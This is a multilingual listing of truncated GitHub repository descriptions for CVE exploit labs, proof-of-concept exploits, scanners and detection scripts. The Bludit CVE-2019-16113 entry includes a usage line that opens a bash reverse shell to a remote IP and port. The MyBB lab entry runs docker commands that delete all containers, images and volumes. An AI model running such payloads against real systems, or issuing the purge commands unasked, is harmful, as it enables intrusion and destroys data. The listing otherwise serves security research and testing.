CVE-2021-42013-LAB

CVE-2021-42013-ラボ Apache HTTP Server 2.4.50 - RCE ラボ exploit.sh :- https://github.com/jas9reet/CVE-2021-42013-LAB/blob/main/exploit.sh 使用方法 docker pull jas9reet/cve-2021-42013-lab docker run -dit -p 8088:80 jas9reet/cve-2021-42013-lab 脆弱なアプリケーションへのアクセス VICTIM-IP-ADDRESS :8088 エクスプロイトコマンド bash...

CVE-2025-0994

CVE-2025-0994 この検出方法はどのように機能しますか？ このNucleiテンプレートは、HTMLボディに格納されているバージョンを抽出し、そのバージョンに基づいて、インスタンスがCVE-2025-0994に対して脆弱かどうかを判断します。 パッチ適用済みバージョン: 15.8.9 このスクリプトを実行するには？ 1. Nucleiをここからダウンロードします 2. テンプレートをローカルシステムにコピーします 3. 次のコマンドを実行します: nuclei -u https://yourHost.com -t template.yaml 参考文献...

cargo-perm

설명 cargo 버전 1.7.0의 새로운 취약점이 발견되었습니다. 자세한 내용은 여기에서 확인하세요. 단계별 먼저 cargo 버전이 취약한지 확인해야 합니다. cargo --version cargo 프로젝트에 다음과 같은 src/main.rs 파일이 있다고 가정해 보겠습니다. use numbigint::BigInt; use std::str::FromStr; // Silly guessing game fn main let secretnumber = BigInt::fromstr"123456789"; loop println!"Make...

mybb-CVE-2022-24734

mybb-CVE-2022-24734 MyBB 1.8.29 - リモートコード実行 git clone https://github.com/lavclash75/mybb-CVE-2022-24734.git cd "mybb-CVE-2022-24734" docker-compose down docker system prune -a docker rm -f $docker ps -a -q docker volume rm $docker volume ls -q docker-compose up -d...

CVE-2019-15053

CVE-2019-15053 FAB-2019-00156 私が発見した脆弱性 CVE-2019-15053 アドバイザリ: advisory.txt 基本情報 Advisory ID..........: FAB-2019-00156 Product..............: HTML Include and replace macro Manufacturer.........: The Plugin People Affected Versions..: 1.4.2 and before Tested Versions....: 1.4.2 Vulnerability...

linux-4.1.15_CVE-2022-3564

Linux 内核 4.x 版本发布 http://kernel.org/ 这些是 Linux 4 版本的发布说明。请仔细阅读， 因为它们会告诉你这是怎么回事、如何安装内核， 以及出现问题时应如何处理。 什么是 LINUX？ Linux 是 Unix 操作系统的一个克隆，由 Linus Torvalds 从零开始编写，并得到了来自互联网上一个松散协作的黑客团队的协助。 它致力于符合 POSIX 和 Single UNIX Specification 规范。 它拥有你在一个现代化、功能完备的 Unix 系统中所期望的所有特性， 包括真正的多任务处理、虚拟内存、共享库、按需加载、...

external_expat-2.1.0_CVE-2022-43680

Expat, リリース 2.1.0 これはExpat、James Clarkによって書かれたXMLを解析するためのCライブラリです。 Expatはストリーム指向のXMLパーサーです。つまり、解析を開始する前にパーサーにハンドラーを登録します。これらのハンドラーは、パーサーが解析中のドキュメント内で関連する構造を発見したときに呼び出されます。開始タグは、ハンドラーを登録できる構造の一例です。 Windowsユーザーは、expatwin32binパッケージを使用してください。これには、プリコンパイルされたライブラリと実行可能ファイル、および開発者向けのソースコードが含まれています。...

log4shell-example

Log4Shell 익스플로잇 테스트 이 프로젝트의 목표는 spring-boot 설정에서 log4j cve-2021-44228 익스플로잇 취약점을 시연하고, 이를 수정하는 방법을 보여주는 것입니다. 이 프로젝트는 세 개의 하위 모듈을 포함합니다. 그중 하나는 취약한 코드를 가지고 있고, 나머지 두 개는 패치되었습니다. 이 프로젝트 사용 방법 두 모듈 모두에서 테스트를 실행하려면 프로젝트 루트에서 ./mvnw clean test를 실행하세요. log4shell-example-unpatched에서 많은 예외가 발생하는 것을 볼 수...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 認証付きRCE 使い方 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 例...

CVE-2024-23692-RCE-in-Rejetto-HFS

Rejetto HTTP 파일 서버의 인증되지 않은 RCE 취약점 CVE-2024-23692 - 익스플로잇 코드 CVE-2024-23692는 Rejetto HTTP 파일 서버HFS 버전 2.3m에서 발견된 심각한 취약점으로, 인증되지 않은 원격 코드 실행RCE을 허용합니다. 이 결함으로 인해 공격자는 서버에서 임의의 코드를 실행할 수 있어 심각한 보안 위험을 초래합니다. 이 게시물에서는 Rejetto HFS, 영향을 받는 버전, 취약점의 영향, 발견 및 해결 일정에 대해 살펴봅니다. 사용법 익스플로잇 스크립트: python3...

external_zlib_4.4_CVE-2018-25032

ZLIBデータ圧縮ライブラリ zlib 1.2.7は汎用データ圧縮ライブラリです。すべてのコードはスレッドセーフです。zlibライブラリが使用するデータ形式は、ファイル内のRFC（Request for Comments）1950から1952で説明されています：http://tools.ietf.org/html/rfc1950 zlib形式, rfc1951 deflate形式, rfc1952 gzip形式。...

CVE-2021-37580

CVE-2021-37580 CVE-2021-37580의 PoC 0x00 취약점 원리 취약점 원리: Apache ShenYu Admin bypass JWT authentication CVE-2021-37580 0x01 단일 URL Usage: python3 CVE-2021-37580.py -u url -n username.txt shenyu-admin-2.4.0의 경우, 취약점이 있는 것은 다음과 같습니다: shenyu-admin-2.4.1의 경우, 취약점이 없는 것은 다음과 같습니다: 0x02 URL 일괄 탐지 Usage:...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner CVE-2020-0688을 여러 호스트에서 비침습적 방식으로 확인하기 위한 빠른 C 도구입니다. 기능 입력 파일에서 호스트 스캔 수동적 확인: HTML 콘텐츠를 스크래핑하여 Exchange 버전 획득 출력 파일 생성 데모 사용 방법 사전 요구 사항 Windows .NET framework 4.5.2 다운로드 git clone https://github.com/onSec-fr/CVE-2020-0688-Scanner.git 실행 ./CVE-2020-0688-Scanner.exe...

nray

nray Overview Nray is a free, platform and architecture independent port and application layer scanner. nray runs in a distributed manner to speed up scans and to perform scans from different vantage points. Event-based results allow to further process information during the scan, e.g. using tool...

cve-2021-21425

GravCMS 1.10.7 向けエクスプロイト - 任意のYAML書き込み/更新 認証不要 使用方法: python3 exploit.py --url http://192.168.204.12/grav-admin 期待される動作 許可されていないシステムではこのエクスプロイトを使用しないでください！ ハッピーハッキング。...

CVE-2019-15107_detection

CVE-2019-15107detection このスクリプトは、サーバーが脆弱なバージョンのWebminを実行しているかどうかを判断します。 Webmin =1.920 コマンドインジェクション - CVE-2019-15107...

CVE-2026-28496-Lab

CVE-2026-28496 - FOSSBilling 서버사이드 템플릿 인젝션 - Twig 렌더링 요약 이 저장소에는 CVE-2026-28496을 재현 및 검증하기 위한 로컬 Docker 랩이 포함되어 있습니다. CVE-2026-28496은 FOSSBilling의 Twig 템플릿 렌더링 동작에 영향을 미치는 서버사이드 템플릿 인젝션 취약점입니다. FOSSBilling은 무료 오픈소스 결제 및 고객 관리 플랫폼입니다. 0.8.0 이전 버전은 안전하지 않은 Twig 템플릿 렌더링 동작으로 인해 제공된 템플릿 표현식을 평가할 수...

CVE-2019-19609

CVE-2019-19609 Strapi = 3.0.0-beta.17.8 認証されたリモートコード実行...

CVE-2024-3094

xz-utils 취약점 확인 및 업데이트 유틸리티 이 스크립트는 시스템에 설치된 xz-utils 버전의 취약점을 확인하기 위해 설계되었습니다. 취약한 버전이 감지되면 스크립트는 잠재적인 보안 위험을 완화하기 위해 안정적인 버전을 자동으로 다운로드하고 설치할 것을 제안합니다. 요구 사항 스크립트 실행에 필요한 구성 요소는 다음과 같습니다: Python 3 requests 라이브러리 pip install requests로 설치 가능 tarfile 라이브러리 Python 3에 포함됨 안정적인 버전 아카이브 다운로드를 위한 인터넷 연...

Detect-CVE-2024-0762

CVE-2024-0762 検出およびマルウェア解析スクリプト 概要 このスクリプトは、UEFIファームウェアのバージョンを検出し、CVE-2024-0762に関連する脆弱性を評価するために設計されています。さらに、VirusTotal APIと統合してファイルをマルウェア解析し、包括的なセキュリティインサイトを提供します。 機能 UEFIファームウェア検出 : WindowsおよびLinuxシステムからUEFIファームウェアのバージョンを取得します。 脆弱性評価 : 検出されたファームウェアバージョンがCVE-2024-0762に対して脆弱かどうかを確認します。 VirusTotal統...